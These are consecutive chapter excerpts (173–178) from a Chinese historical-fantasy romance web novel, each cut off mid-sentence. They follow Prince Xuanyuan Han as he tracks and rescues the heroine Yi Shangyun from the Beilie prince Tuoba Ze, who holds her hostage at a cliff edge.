轩辕翰闻之渐渐闭上了双眼,平静起自己的 第一百七十三章:寻香觅佳人 轩辕翰轻叹了口气,一转念问身旁的程良道“对了,你不是在追那个在逃的拓跋泽的近身侍卫么,怎么坐在这里不动了?” 程良摸着脑袋笑着说“喔,方才属下追寻血迹至此处,却忽然不见了踪影,便安排人在此四处仔细查找。见殿下独自在此,属下特意过来陪殿下说说话……” 程良话还未说完,忽然看见一名手下的侍卫疾跑上前来,手里握着一个粉色的貌似女红之类的不知什么东西。 程良看见连忙站起身来上前两步,那侍卫一近身过来,便朝着程良拱手行礼,道“启禀将军,属下方才在后方搜索逃犯踪迹时,在貌似一条通往山上的崎岖小路的路口边发现了这个。而且,血迹也是在那路口同时消失不见了,估计逃犯是在此停留过,已经包扎好伤口,所以才无迹可寻的。” 侍卫一说完,便将手里神神秘秘地紧握着的东西双手捧着奉上,程良一把将其接过来放在自己的手心,翻来翻去端详着。 这看起来也只不过是个女人用的普通香囊而已,他琢磨了半天,好像也没看出来什么端倪。 这时,坐在一旁的轩辕翰亦终于缓过神站起身来,一边向着马匹踱步过去,一边对程良吩咐道“好了,本王会继续接着饶过这座北山往西北古道方向前行,拓跋泽要带云儿回北烈,就只有这一条路可走。你尽快处理好手头的事情,即刻赶来与本王汇合。” 话音刚落,轩辕翰正欲上马离去,又一名侍卫气喘吁吁地疾跑上前来禀告“启禀殿下,山脚下的东南方草丛里发现了一个神秘的洞口,貌似是一个密道的出口,那密道里面直通向西南方向。” “密道出口、通向西南方向……”轩辕翰一听,口中暗自喃喃地重复着。 片刻后似是想到了什么,忽然丢开手中的马缰绳大步朝着侍卫过去,紧盯着他的眼睛问道“那可曾还发现一个绣着蝴蝶与玉兰花的粉色香囊?” 就在此时,他又似闻到了一股什么气味,随即扭头寻香而去。 闻此,身后的程良方才再次垂首仔细看了一眼攥在自己手里的那只粉色香囊上所绣制的图案,一时间惊讶极了,那竟是和轩辕翰口中所说的一模一样。 于是,便在轩辕翰的身后匆匆开口道“殿下说的可是这个香囊?” 轩辕翰闻声立刻放眼过去,看向了程良的双手,程良赶忙疾步上前将其交到轩辕翰的手中,轩辕翰望着手中程良递过来的那只粉色香囊,瞬时瞪大了眼睛,手竟然都情不自禁地有些发起抖来,竟颤颤巍巍地将其捧到自己的鼻翼边轻轻的闻了闻,激动地含笑说道“对,对,对,没错,这正是玉娘所说的,在云儿离开之时,她亲手赠给云儿的玫 瑰红茶香囊。” “玫瑰红茶?对啊,属下怎么没想到呢?难怪方才属下总感觉这个香囊有股淡淡的什么味道,似曾相识,又一时记不起,这种味道,在万娇阁里属下也曾闻到过,万娇阁里确实有这种甚是名贵的南国极品玫瑰红茶呢!只是没想到,竟有人用此茶来做成香囊。”程良闻此,忽然间恍然大悟道。 轩辕翰着急地问“这个香囊是在哪里找到的?” 程良当即命令方才那个禀报的侍卫道“还不带路?” “是”侍卫亦惊讶万分。 很快,侍卫便将一行人等带至到方才他捡拾起这个香囊的原地位置,指着山脚下一个貌似分岔路口的一株矮矮的海棠树上的一棵枯树枝,道“殿下请看,方才属下就是在这株海棠树上捡到的,这个香囊就挂在这个树枝上。” 正在轩辕翰抬眼仔细端详周围山中陌生的地形环境时,程良用力地从高出路面的边沿部位沿着往北山上密密地跺了跺脚,明显越往上,土壤便越要比眼前平地上的土壤松动许多。 忽然,他疾手快地似是发现了脚下的土有些不妥之处“殿下请看,这条山间小道应该是很少有人走,所以看起来并不像是一条路的样子。” 说着说着,他突然弯腰屈膝下去,用手抛开了地面上覆着的一层枯枝败叶,惊道“殿下快看,有马蹄印,照着马蹄印的方向看,应是上山去了,人数不多,可这印子的土都还尚未干呢!应该上去没多久。” 轩辕翰闻之亦俯身下来目视着眼前这一切,片刻后,俩人互相对视着,不约而同地道: “拓跋泽带着云儿上山了。” “拓跋泽带着衣姑娘上山了。” “可属下听说,这北山上东侧处有一处悬崖,凶险万分,平时并无人敢上山去啊。这拓跋泽不带衣姑娘赶路逃命回北烈,却带着衣姑娘去山上做什么?难道是想将衣姑娘……”说到这里,程良俨然已经不敢再继续往下想,往下说了去。 只见轩辕翰一双浓密的眉头紧紧皱起,手中的粉色香囊亦像是要被揉碎了一般,冷冷道“上山!” 随即,所有人马便一起朝着山上前进了去,只留下几个人把守着下山的路。 半山腰上,还是方才同样的一条小溪久旁边,衣上云经过一番简单的梳洗,又抄了两口清泉入口,方才恢复了一身清爽干净。 这会儿,她又再次起身来踱步到距离悬崖边上不远处的, 第一百七十四章:江山易改,本性难移 衣上云哼笑一声,冷冷道“我问你,你是不是根本就没有遵守我们之间的约定:我跟你去北烈,你放玉娘回家。而是将她依旧关在万娇阁的密室里,不见天日,亦不管不问,任其自生自灭,是不是?” 然拓跋泽听了这番话,似是根本就不怕衣上云得知此消息,哼笑一声提高嗓音,道“你既已经知道了这件事,那本皇子想,你也应该知道另一件事。” 衣上云心里顿时一惊,道“另一件事?还有什么事?” 拓跋泽道“这另一件事嘛,那便是现在...你已经无路可选了,不是么?” 拓跋泽话一说完,眼睛便朝着衣上云身后那面深不可测的悬崖边望了一眼。 衣上云亦斜视了一眼身后,同时又被他这句极具要挟的话一时间惊呆了。 原本,她还在怀疑方才那俩名一矮一胖的侍卫所言究竟是真是假,可这会儿一转眼,没想到拓跋泽竟会如此理直气壮地承认自己的所为。 闻此,她气的牙齿咬的直咯咯作响,站起身来朝其愤愤道“拓跋泽,你个卑鄙无耻至极的小人,果真是‘江山易改,本性难移’。原本,我已打算真的想要随你去北烈,只要你信守承诺,答应我的事都做到,我这一辈子都会安心地呆在北烈国。可是,我没想到你竟是如此不堪之人,连一个手无缚鸡之力的弱女子也欺骗。我…我…‘君子一言,驷马难追’,更何况你还是一国的皇子,你根本就不配为北烈国皇室之后。如今看来,你与那西秦秦王之间相差的,远远不止十万八千里。北烈国不兴,民不聊生、食不果腹…这一切,全都是因你言而无信所致。总有一天,北烈必亡,你就等着吧。” 衣上云从未如此气愤地破口大骂过一个人,然此时,她能想到的话似乎也只有这些了,可这明显还远远不能解了她心头的这团怒火。 她恨不得此时自己的手中握有一柄世间最锋利不过的长剑,那她一定会毫不犹豫地将这把剑对准拓跋泽的心脏狠狠刺入,好让他也真真切切地感受一下自己此时无比心痛的感觉; 她又梦想着自己能拥有一颗威力十足的手雷,好将眼前这个令人厌恶和唾弃到作呕的嘴脸炸的面目全非,稀巴烂,再也不要假惺惺地出现在自己的面前; 她还梦想自己能如同电影里的超级女特工那般,身怀一身盖世武功,三拳两脚便打的他落花流水,满地找牙; 又或者她的系统突然恢复了功能,她便能顺手粘来一种21世纪的高端毒药,让其求生不能,求死不得地向她跪地求饶。可一想到她的那个如同废了一般的系统,低头看了一眼手腕上安静躺着的,就如同躺尸一般的七彩金丝彩玉镯子,她就更是来气了,这个系 统究竟何时才能开启……; 可直到最后,孑然一身的她,能拿出来应敌的也仅仅只不过是她弯腰屈膝着在脚底下捡起的一颗小石头而已。 她咬牙切齿着使出了浑身力气,抡起胳膊将其对准目标的眼睛,终于用力地丢了出去,谁想,还被精通武艺的拓跋泽,只将脑袋微微一晃闪,便极为轻松地避开了过去。 看着拓跋泽此时那一脸得意的笑容,一气之下,她再次屈膝蹲身下去,摊开衣襟,捡拾起一大堆更多的小石头来放在里面。 继而又起身来,一颗接着一颗,犹如机关枪扫射一般朝着拓跋泽的全身“嗖嗖嗖”地连发了出去。打完再捡,捡起再打…… 可是,最后倾其脚下周围所有全部‘武器’,包括一些坚硬的土疙瘩,始终也没有一颗是打中在目标之上的。反倒是把自己累的气喘吁吁、汗流浃背、双手插在腰间,上气不接下气地大口喘息着。 “不行了,不行了,不行了……”衣上云连连妥协道。 然拓跋泽仍然出言挑衅着“怎么,方才你不是气很大么?这会儿,就这两下子便认输了不行?” 衣上云气道“哼,‘认输’?本姑娘就算是死,也绝不会认输的。本姑娘今天乃是又累又饿,又没有武器,才会败给你这个卑鄙小人。” “哦,原来是没有武器?早说啊!要不,本皇子的这柄北烈国最锋利削骨如泥的短剑给你作武器,如何?”拓跋泽说着,便从腰间取出一把看似非常贵重的,剑鞘上镶着红绿各色宝石的短剑来,向衣上云抛了过去。 衣上云伸手在半空里颤颤巍巍地将其接住,拿在手里端详了半晌,方才缓缓将剑抽出剑鞘。 可当她看到那被自己亲手抽出来的锋利无比的剑刃,发出耀眼的明晃晃的光亮的时候,她望着它惊呆了。 拓跋泽见她已是黔驴技穷,又从未握过刀剑一般地傻傻痴愣着,随即露着一脸诡异的邪笑,缓缓一步一步向着衣上云逼身靠近了过去。 衣上云忽见其正 第一百七十五章:忽现,神秘男子 拓跋泽沉声道“没想到,这个丑丫头除了脸上的胎记外,竟倒还真是个不可多见的美人胚子,纤纤玉骨、身姿曼妙、肤白细嫩、闻一闻,还有股女子的处子之身所散发出来的天然香气,让人好不销魂啊。” 就在他垂涎欲滴地一边说着,一边即将覆手上去扯掉她身上最后的遮挡,欲要行乐之时,忽觉眼前一道白色的亮光闪动,似是有什么东西在朝着自己以极快的速度靠近。 他似是本能地停下了手里的动作,迅速地刚一转身过去,只见原来是一把锋利无比的长剑正对准着自己的脑袋倏地飞刺过来。 顿时,他瞪大了眼睛甚是迅速灵活的一个急闪身,便将其整个上身低低地俯了下来,那明晃晃的剑刃于是便刚好从他那头顶半束着的发髻上擦了过去,吓得他不禁似是本能般地耸起肩来,眯了眯眼睛。 接着,只闻得极为响亮的“铮”的一声响后,便见他方才还好端端的束发,顿时间便散了开来,凌乱地披了一肩。 就连束发用的紫金发冠,也被那柄利剑划成了两片,纷纷掉落在地。不光如此,竟还有几缕青丝亦被剑刃带着斩断,扬扬洒洒地从空中飘落在地。 拓跋泽看着地上自己的落冠和断发,顿时被这突然而至的诡异所惊吓怔住,惊呆了。随即,他立刻起身来往前大踏两步,对着利剑飞过来的眼前这片空荡荡的山林深处大声怒吼,道“谁?是谁竟胆敢破坏了本皇子的好事?还不快给本皇子滚出来!躲躲闪闪的,算什么英雄豪杰?” 就在这时,突然有个一袭黑衣劲装,身披玄色披风的男子身影从他的头顶上方倒着竖直俯冲了下来。 就在男子即将落地的最后一刹那间,他聚集了浑身所有的气力于两只手掌之上,狠狠地将其拍击在了拓跋泽的后背,紧接着,他又用两只脚狠狠地大力将其踹飞了出去。 拓跋泽措不及防,心脉受到重创,浑身失力,便只能任由自己重重地向前俯身摔了下去,摔了个狗吃屎。 此时,他就如同一条死鱼一般,静静地趴躺在菜板上等待着随时受人宰割。 俨然已完全失势的他,只见连着吐了几口鲜血,脸上的青筋暴起,顿显痛苦万分,趴在地上怕是已很难再起身来了。 而男子的脚刚一着地,便单手负后着狠狠地瞪了一眼已经趴在地上不得动弹半分的拓跋泽,那冷厉的眼神似能放出剑来。 接着他又转头看了一眼凄凄惨惨,衣衫不整地被拍晕过去正躺在岩石上的衣上云,眉头紧皱,一脸疼惜。 他飞快地解下自己身上的玄色披风,将其遮在衣上云凌乱的身体上,坐在她的身旁将其缓缓扶起,紧靠着自己坚实的胸膛,牢牢搂着她的肩,似是生生世 世永远都不想再放开她。 他轻轻的一边将其晃动了两下,一边紧张地在其耳边急唤出声道“云儿,云儿……对不起,都是本王的错,本王来晚了,让你受苦了……” 可半晌后,见其根本禁闭双眼依然纹丝不动着,突然一阵山风拂过,将衣上云脸上的纯白面纱吹起,露出了拓跋泽方才留在其一边脸上的五道深深的红色五指山印和嘴角的斑斑血迹。 男子一见,当即眼睛一怔,一咬牙,便一边注视着她的脸庞,一边将其怀中的人儿恋恋不舍小心翼翼地放了下来。 随即在俩人身旁的地上捡拾起方才被自己飞掷出来,最后稳稳扎在土壤里的他的佩剑,若不是顾忌到可能会伤到拓跋泽身下的他的女人,只要再精准不到半寸,拓跋泽绝对当场毙命。 此时,他将他的女人挡在身后,咬紧牙根大踏步走到拓跋泽的面前剑尖直指向他的脑袋,忿忿道“你打了她?你竟胆敢动本王的女人!” 拓跋泽趴在地上听到这话,纳闷极了,随即惊声道“你的女人?秦王轩辕翰,你怎么会……哈哈哈哈哈,哈哈哈哈哈……” “你笑什么?”轩辕翰问。 拓跋泽哼笑一声,依然趴在地上嘴角满是污血,道“看来,真是天意如此啊!本皇子还以为誉满整个灵空大陆的西秦秦王,是个不近女色,清心寡欲之人。故特意为你千辛万苦制得了这天下至毒的‘冰美人蛊’。可如今看来,蛊破人亡,到头来,皆是一场徒劳无功空欢喜啊!” “原来这世间极致难得的冰美人蛊是你为本王特制的?……可惜,这次你算是真的徒劳一场了。”轩辕翰恍然大悟道。 拓跋泽不再说话,轩辕翰转念又问“你为何要带走云儿?” “哼,本皇子原本想带走的只不过是美人血而已。衣上云,她是自己送上本皇子万娇阁的门来的。听闻她竟能解的了本皇子的天花之毒,本皇子自此便很是对她感兴趣。却不想,她竟在本皇子面前神不知鬼不觉地还解了本皇子千辛万苦才养成了的美人血,如此神秘的一个女子,本皇子又岂能放过她呢?!” & 第一百七十六章:心尖宠,千年铁树开了花 拓跋宏亦好奇地问道“这个消息你是从何处得来的?” 拓跋泽随即将目光投向了至今尚还在距离悬崖边不远处的岩石上,正盖着一件玄色披风昏迷不醒着的衣上云身上。 拓跋宏当即追随其目光亦看了过去,疑惑道“她是谁?她这是怎么了?” 拓跋泽闻之面露难色,在自己温润如玉、仁心仁术、善良忠厚的亲弟弟面前,似是有些难以启齿自己方才的那些因一时冲动,着实有些偏激极端的行为。 稍作思量后,拓跋泽抚着自己胸口的伤痛,只对其言道“她是西秦国一个小小宫廷药师家的丑女……” 可看着此时站在自己身边的哥哥,眼睛里那闪烁不定的眼神,以及被人痛打的看起来一副伤势不轻的狼狈模样; 再看看不知何时,早已踱步过去在不远处的轩辕翰,放下手中的佩剑在身边,正坐在岩石上默不作声地一边含情脉脉地注视着那名昏迷中的女子,一边用自己一只骨节分明的大手,一遍遍地摩挲着女子半边脸上被拓跋泽粗暴地留下的五指伤痕,而另一只手却瞬间极尽愤怒地紧握成拳。 半晌后,轩辕翰方才有些颤颤巍巍地,似是终于鼓足了勇气缓缓掀起来披风的一角。 而当他近身亲眼看到自己在这个世上唯一最在乎和最想疼爱的人,一想到她在遭受到这般凌辱时那惶恐的样子,他的身子不由得顿时颤抖的愈加厉害起来。 他咬紧了牙关,眼睛里似是瞬间能放出千万支利箭来,恨不得一起同时将其所有一并射向那给她这些伤痛和恐惧的人,让他瞬间变作一团马蜂窝,再将其摘下紧紧握在自己的拳中,狠狠碾碎成泥渣或者粉末; 又或者将其碎尸万段,千刀万剐,然后拿去丢在深山里喂食野兽和虫蚁,让其连尸骨都荡然无存…… 可即使做到这一切,仍远远都还不足以弥补今日他所带给她的伤害的千万分之一,亦不能解他心间的愤怒半分。 他是如此宠她,宠得那样小心翼翼。可如今,却有人胆敢如此打她,伤她,他怎能容忍,他决不容忍…… 此时,他强压隐忍住心头的熊熊怒火,伸出手亲自温柔地替其重新一个接一个地扣好她衣装上的金鱼盘扣。方才将其轻轻的扶起身来,又拾起俩人身旁那件玄色披风为其穿戴好,遮掩起她已经破损了的衣裳。明显那披风应是正在帮其整理一身凌乱的男子之物。 紧接着,他的一只大手扶着怀中女子的后脑勺让她舒服安心地贴在自己滚烫的胸膛前,另一只手则握紧她细长白嫩的玉手,就这样紧紧地拥她在怀,似是要以此来抚平其受到的所有伤痛、恐惧和委屈与无助。 看着轩辕翰此时无比心疼地紧拥着自己 怀里的女子,看着眼前所发生的这一切,又都怎能逃得过一起从小到大,彼此知己知彼的拓跋泽的亲弟弟拓跋宏的眼睛。 而就轩辕翰看着衣上云的眼神表情以及方才当着外人的面,他所做的这一切,拓跋宏当即意识到,这女子定是那男子的心尖宠。 还未等拓跋泽将话说完,拓跋宏却似并未听他所言一般,只饶有兴趣地发声问他,道“他又是谁?” 拓跋泽闻之心中顿然一惊,方才看了一眼轩辕翰,心想,看这西秦秦王对那衣上云关心的程度,莫非他还真的看上了那丫头?这可真是‘千年铁树开了花’啊。 随即,他以轻蔑又忿忿的口气回答拓跋宏道“他?他就是西秦秦王,轩辕翰。若不是他,皇兄我的万娇阁怕是也不会这么快便被捣毁,我历尽艰险养成的美人血,以及寻回炼成的冰美人蛊也不会化为泡影。这笔帐,早晚有一天,我都会尽数与他好好算一算的。” 闻此,拓跋宏顿时皱紧眉头将目光移向了拓跋泽,朝其眼睛一怔,大惊道“什么?你以人来养美人血?还寻回了世间极为难得的冰美人,竟还炼成了邪恶至极的冰美人蛊?” 拓跋泽一时愤恨,口不择言,在还没有给自己的亲弟弟做任何铺垫的情况下,说出了自己的这些秘密来,顿时间低头不敢再作言语。 他当然害怕他的弟弟将此事回国告知他们的父王,到时候,指不定父王又将如何处罚他。 片刻后,拓跋宏无奈地深叹口气,一转念心里道,素闻灵空战神,西秦秦王是座万年大冰山、冷言冷语、沉默寡言、清心寡欲、不近女色。可此时,出现在他眼前的这位对一受辱之女子满目皆是含情脉脉,温暖如春的男子,他真的是传闻中的轩辕翰么? 他的哥哥从小骑马射箭、一身好武艺、内力浑厚、这灵空的天下,怕是并无几人能是他的对手,当然,他亦很难超越他。 而如今仅仅靠着两掌与区区几脚,便能让他哥哥的心脉受到如此重创,再看那男子一身的气宇不凡,想那必然是轩辕翰本人,亦是毋庸置疑的。 思及此,拓跋宏当即朝着拓跋泽惊喝道“他便是灵空战神,秦王轩辕翰?哼...他的女人你也敢动,这下你可真算是闯了大祸了。没想到,这几年在西秦,你是越发的猖狂妄为了,竟然连一个丑女都不放过!这道也罢了,可这最重要的是,难道你真看不出来那女子是那秦王的心尖宠么?” 第一百七十七章:往日重现 “啊……”只见衣上云闭紧双眼,捂起耳朵,崩溃般地所爆发出的这一阵撕心裂肺的惊叫声,响彻天地,震动世间万物。 顷刻间,山林中树木摇曳,枝叶沙沙作响,卷起地上的落花与枯叶无数,夹杂着满地黄土,不停地翻滚飞扬着,背向衣上云,朝向众人席卷而去。 就连刚好料理完万娇阁老鸨,亦是自己多年以来心中最挂念的奶娘的后事,正匆匆赶来寻找衣上云的下落,此时刚刚到达北山脚下的易君浩,亦被这阵源自山林中所发出的惊天巨响的呐喊声所震惊。 他连忙止步住,眼睛朝着声音传出来的方向一怔,立即竖起眉头来,口中自言自语道“丫头出事了?!” 话音刚落,便顿时加快了脚下的步伐,本欲打算一直向前饶过北山直上西北古道的方向去追寻,这会儿直接闻声,寻着声音传出的方向,向着山上飞奔而去。 与此同时,就在山林里距离轩辕翰不远处,率领众将士与拓跋泽仅剩的最后一众残兵败将相遇,正举剑进行着一场最终的胜负角逐,激烈厮杀的程良。 眼见着反客为主之势已成,对方明显已无招数可出,等待着束手就擒,随即他的剑尖亦已乘势搭在了那北烈敌寇的肩上。 可就在这时,程良亦被耳畔边忽然传来的一阵震耳欲聋的女子惊叫声所惊愣住,随即口中吃惊而又一脸忧心地望着声音传来的方向喃喃自语道“衣姑娘?” 而他身旁正以各种各样的姿势或剑招,扭打在一起,伤势或重或轻的将士们,无论是北烈的还是西秦的,亦都纷纷被这声音惊呆了,全都不约而同地停下了手中的动作,一个个手持兵器,却都只是静静地愣站着,面面相觑,不知道究竟发生了何事? 片刻后,程良一回过神来,心中只觉得一定有什么不好的事发生了。他的主子,衣姑娘…… 方才,他本还想着不杀一兵一卒,先挑选拿下众敌寇中最威猛善战的一个,好劝诫其他所有人停战投降,可明显此时已不容他再继续往下多想去。 于是,他便看也不看那最善战的敌寇一眼,直接出手狠狠地抹了那敌寇的脖子。尔后拔腿便向山林的更深处,声音传出来的方向冲了进去。 在他身后,那尚还一直处在惊愣之中的,却已是被一柄利剑抹了脖子亦是丢了性命的北烈敌寇,其颈间瞬时喷出来一股股鲜血,犹如喷泉一般四下里洒着,而随后身子亦紧跟着重重地倒地,就这样侧着脸趴在地上,怔着眼睛犹如毙命在一场平静的睡梦中一般,极不真实却又是最真实的结局。 看着眼前鲜血直流,瞬间脸白的如同一张薄纸一般,甚是无尽悲惨的倒地死去的同伴,如此死不瞑目。再看看西秦将士 一个比一个英勇善战,再打下去,一定是个个小命都会不保,客死他乡的。 于是,所有他身旁方才还一直拼的不是你死便是我亡,狠狠地与西秦将士扭打在一起的北烈敌寇,瞬间全部都被吓得弃械投降,跪地求饶起来“投降,我们投降,停战吧,我们也不想打仗,我们个个都是被逼无奈啊!求求你们不要杀我们,我们都是上有老下有小的人,家里的人都还在等我们回去团聚呢,我们不能死啊!” 见此,西秦的将士们亦都一个个手持着利剑,面面相觑了起来。 山林深处,俩人各自都使着伶俐迅捷的剑招,正全力搏击着的轩辕翰和拓跋宏,眼见着已拆到数十余招,此时的剑招亦越来越紧。 而拓跋宏似是有些技不如人,显然已经有些招架不住,力不从心起来。 突然,情急之下,只见他举起长剑猛朝着轩辕翰的左肩挥出,然用力却似是有些过于猛了,身子不禁随之摆晃了一下,似是欲要摔倒。 这时,轩辕翰则眼疾手快地将身子微微一倾后便轻松地跨步避让了开。 拓跋宏未能及时收势,轩辕翰避开后随即又飞快的回头转身将左手挥掌拍出,正对准拓跋宏的后心。 待拓跋宏用剑撑在地上,立定站直身子后想要再次回头继续来战的时候,轩辕翰早已将手中的长剑稳稳地架在了拓跋宏的右肩。 正当轩辕翰欲要举剑,挑去遮在对方脸上的黑色蒙面巾,现出来人的庐山真面目时,忽闻衣上云发出的这一震耳欲聋的惊叫声。 随即目光一转,手中的利剑微微一晃,拓跋宏便乘势侧身闪躲逃离了开来。 然闻声,拓跋宏亦是同时打消了继续再战的念头,将目光移向了一旁衣上云所在的方向,似是亦被这阵闻所未闻的惊叫声所震到。 而此时,距离衣上云最近的拓跋泽,见此时就连他的弟弟亦是敌不过这西秦秦王的不凡剑术。 于是,心念一动,拓跋泽以迅雷不及掩耳之势迅速地飞身过去到衣上云的身旁,将其从岩石旁边的地上一把捞起身来,随即抽出腰间的那把名贵的金黄闪闪,镶着无数红绿宝石的锋利短剑,飞快地拔剑出鞘,从衣上云的身后将那明晃晃的剑尖死死地抵在了她细长的脖颈之间。 随后,他又对着轩辕翰得意扬扬地高声挑衅道“西秦秦王,你过来呀,你不是一向’一夫当关万夫莫开’,威风凛凛,很厉害么?传闻中,不是说人人都对你这个灵空战神闻风而丧胆么?你不是千方百计,处心积虑地想要抓住本皇子么?怎么,本皇子今日拜你所赐,这会儿已是身受重伤,如此虚弱的站在你的面前,你却连个屁都不敢放了么?还是……” 拓跋泽说着说着,忽 然停了下来,低头看了一眼自己虽然受了严重的内伤,但依然可以用一只手便足以牢牢将其两手从后方禁锢住,似是还在昏昏沉沉中的衣上云,朝其露出狡黠的一抹笑容,继续大声道“还是西秦秦王,你也是‘英雄难过美人关’,担心自己向前一步,会惊扰到了本皇子,本皇子一不小心便将手里这个你最深爱的女人,推下这座深不见底的万丈深渊里去了呢?” “哈哈哈哈哈…哈哈哈哈哈……”拓跋泽话音刚落,便疯狂的大笑了起来,一边笑,一边回头望了一眼那身后几近直立的悬崖边儿上,拖着衣上云一步一步地缓缓往后退了过去。 轩辕翰看着,听着这一切,却忽觉耳朵里如同耳鸣了一般,直嗡嗡作响,且这响声震耳欲聋,久久连绵不绝,甚至令他晕眩地快要窒息。 他似是根本就没有看到或者听到拓跋泽在做些什么亦或说些什么,只见轩辕翰渐渐竖起那两道浓密的眉毛来,手里紧握着的长剑连同他的整个身子一直在不停地发抖着。 他眼睛怔怔地望着眼前所正在发生的这一切,似是忽然想起了什么,看起来惧怕极了。 十几年前,尚且还年幼无知的他,就是在这座山的山脚下,同他的母妃遇上了那伙儿神秘且凶神恶煞的黑衣蒙面人,亦让他遇到了那位他此生永远都无法回报和忘记的即将临盆的妇人。 为了救他,那妇人亦正是从在他眼前,衣上云此刻所踩着的脚下,那同一个位置上,从这座几近直立着的悬崖上不堪受辱,跌落而下,一尸两命。 而此时,在同一个地方,仿佛似是多年前的那一幕又重新再现。 那日的他,只能听从妇人的安排,躲在高高的草丛里,无助地眼睁睁看着妇人在她的面前坠崖而亡; 此时,他的意识里似是已经出现了幻觉,他错误地以为眼前被人挟持着的衣上云,便是昔日里的那位妇人。难道是上天怜他,重新给他的一次选择和弥补的机会? 那么这次,他是不是不该再听那妇人所言,答应她乖乖藏起来,以保住自己的性命,好在以后的岁月里继续守护着西秦,守护更多需要他守护的人。 他想,这次他一定要勇敢一点,他应该站出来出声阻止。他不但要守护西秦,亦要守护她们母子。 他到底该怎么选? 他怕,他当然怕,他很怕,他太怕,他比上次更怕,更是比任何一次都怕。 所以,他才会不由自主似是本能一般地发起抖来。 “不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……”忽然,轩辕翰顿时丢掉了手里的长剑,似是发了疯一般,抱头垂首着闭眼疯了一般地怒发冲冠呐喊起来 。 这一声呐喊,震惊山河,地动山摇。 这一声呐喊,惊的拓跋泽立刻顿足下来惊愣住,并止住了其疯狂至极的狂笑声; 这一声呐喊,拓跋宏闻之,顿时将目光从拓跋泽和衣上云的身上移向了轩辕翰的身上,朝其眼睛一怔。没想到,这灵空战神,西秦秦王竟也有今日这副似是崩溃了一般的模样。只是,这到底是因为什么呢,难道真的只是为了一个女子?拓跋宏心里暗自疑惑着。 就在这时,听到这一声惊天地泣鬼神的呐喊之声的易君浩和程良亦匆匆闻声,终于疾跑着追赶了过来。 而一看到眼前的情形,俩人顿时都不约而同地被惊呆了。 程良大喊:“殿下” 易君浩惊叫一声:“丫头” (本章完) 第一百七十八章:除了她,本皇子谁都不要 “不要跳,不要跳,不要跳,你给本王回来,给本王回来,本王不许你死,回来,回来……” 忽然,轩辕翰丢掉手里的长剑,似是发了疯一般,抱头垂首着闭眼疯了一般地怒发冲冠呐喊起来。 这一声呐喊,震惊山河,地动山摇。 就在这时,听到这声惊天地泣鬼神的呐喊之声的易君浩和程良亦闻声,也终于匆匆疾跑着追赶了过来。 而一看到眼前的情形,俩人顿时都不约而同地止住步来,惊呆了。 程良望着此时似是走火入魔了一般,丧失了理智,貌似还有些瑟瑟发抖地大声怒吼着的主子,朝其大喊一声:“殿下” 易君浩亦朝着程良所注视的方向,惊愣着望了一眼他从未见过的轩辕翰的另一面。 但瞬间,他便将目光移动转向了前方的悬崖边上,正被人用一柄泛着白晃晃的亮光的锋利短剑,死死地抵着脖颈,已渗出来滴滴红艳艳的鲜血的衣上云,顿时竖起眉头来惊叫了一声:“丫头” 而当听到轩辕翰那声嘶力竭的一声呐喊,衣上云亦仿佛似是终于从一场噩梦当中清醒了过来。 继而便在尚还处在一脸惊愕之中的拓跋泽的牢牢禁锢之中,拼命地扭动身子挣扎起来,看着他的眼睛朝其狠狠地怒道“拓跋泽,放开我,你这个忘恩负义、恩将仇报、人面兽心的伪君子。” 拓跋泽闻声,方才匆匆回过神来,亦转头来对视着衣上云那好看的双眼愣了片刻后,竟突然露出来一抹更为嚣张的得意之色。 他非但没有放松手劲半分,反而将禁锢她的双手和握剑的两只大手的力道只增不减地又添了许多。 衣上云本就没有防备,一时间没能耐得住这突如其来的一阵痛楚感,随即似是本能地惊出声,道“啊,疯子,疯子,你真是个十足的疯子!”【!¥¥¥免费阅读】 拓跋泽轻蔑地哼笑一声,转头过去又看向他正前方不远处,疯魔了一般的轩辕翰道“疯子?本皇子这辈子怕是都担不起这个美名了。不过,此时眼前倒是确实有一个疯子。” 衣上云闻声,方才朝着拓跋泽所看向的方向缓缓放眼过去。 她一眼便看到了轩辕翰方才发疯般呐喊的时候,不小心掉落在脚下的一个她熟悉的不能再熟悉的粉色香囊,衣上云瞬时眼睛朝其一怔,惊道“是玉娘的香囊?” 而当她紧接着经过好一番仔细认真的凝视确认过后,才终于看清楚眼前拓跋泽口中所说的疯子,竟然是昔日里如同一尊神袛般睥睨天下,伟岸尊贵,而此刻却犹如发疯魔怔了似的垂首痴愣地站着,显得孤独无助又恐怖惧怕极了的秦王轩辕翰。 在他的身旁,还有一蒙面男子手持着长剑,近身站在其身旁用一柄利剑拦着他。 而在这俩人的身后,易君浩与程良俩人,亦是满脸担忧之色地站在原地里一动也不敢动,生怕因为自己一个很小的举动,便会惊动那男子手中正对准着轩辕翰的那柄长剑,亦或者触怒了正持剑抵在自己皙白的脖颈上的拓跋泽。 看着这一切,顿时间,衣上云的心里似是忽然有种说不出的感觉涌上了心头。 她想,轩辕翰一定是已经捣毁了暗藏在整个万娇阁里的阴谋,亦救出了玉娘,方才得知了那个粉色的玫瑰花茶香囊。 于是,在通往上山的路口发现了自己不慎掉落的那个香囊,便沿路上到了山上来寻她,这才刚好遇到了这伙十恶不赦的北烈敌寇。 原来,他真的是来寻她的,而不只是拿寻她来做声东击西的幌子。 原来,他并没有丢弃她,无论何时,他似乎从来都没有将她丢下过。 冥冥之中,似乎轩辕翰已经不知不觉中成了这个时空里唯一一个关心在乎她的人,也是她自己亦不知何时,已经悄悄将其放在了自己心底的人。 看着眼前的这一切,思及此,衣上云顿时蹙起眉来,口中默默地黯然低声喃喃道“秦王殿下他…他这是怎么了?” 拓跋泽一边仍不松手半分,一边看着轩辕翰朝其冷哼一声,嘴里不住地啧啧道“啧,啧,啧,瞧瞧,瞧瞧。看来,这传闻也只能是传闻而已,一点儿也不足为信。想不到世人皆传的骁勇善战,令人闻风丧胆的灵空战神,秦王轩辕翰也不过如此罢了!今日,仅仅被远远屈居于本皇子之下的本皇子的皇弟,区区不过几招,便打的落花流水。他这一直低着头,难道是哭了不成?还是...这会儿吓得都快要尿裤裆了?又或者是吓傻了?吓疯了?” 衣上云想都没想,一气之下当即脱口而出地怼他道“你胡说,秦王殿下怎么可能会输给你们这些卑鄙小人,一定是你们背地里对他使诈,殿下才会中了你们的奸计。” 就在这时,她忽然看到轩辕翰似是嘴里在喃喃自语地说些什么。 可是,此时他们之间的距离已经被拓跋泽一直拖着后退着,着实有些远了。 悬崖边的山风又不停地在她耳边呼呼地怒吼的,吹乱了她一头乌亮的长发。 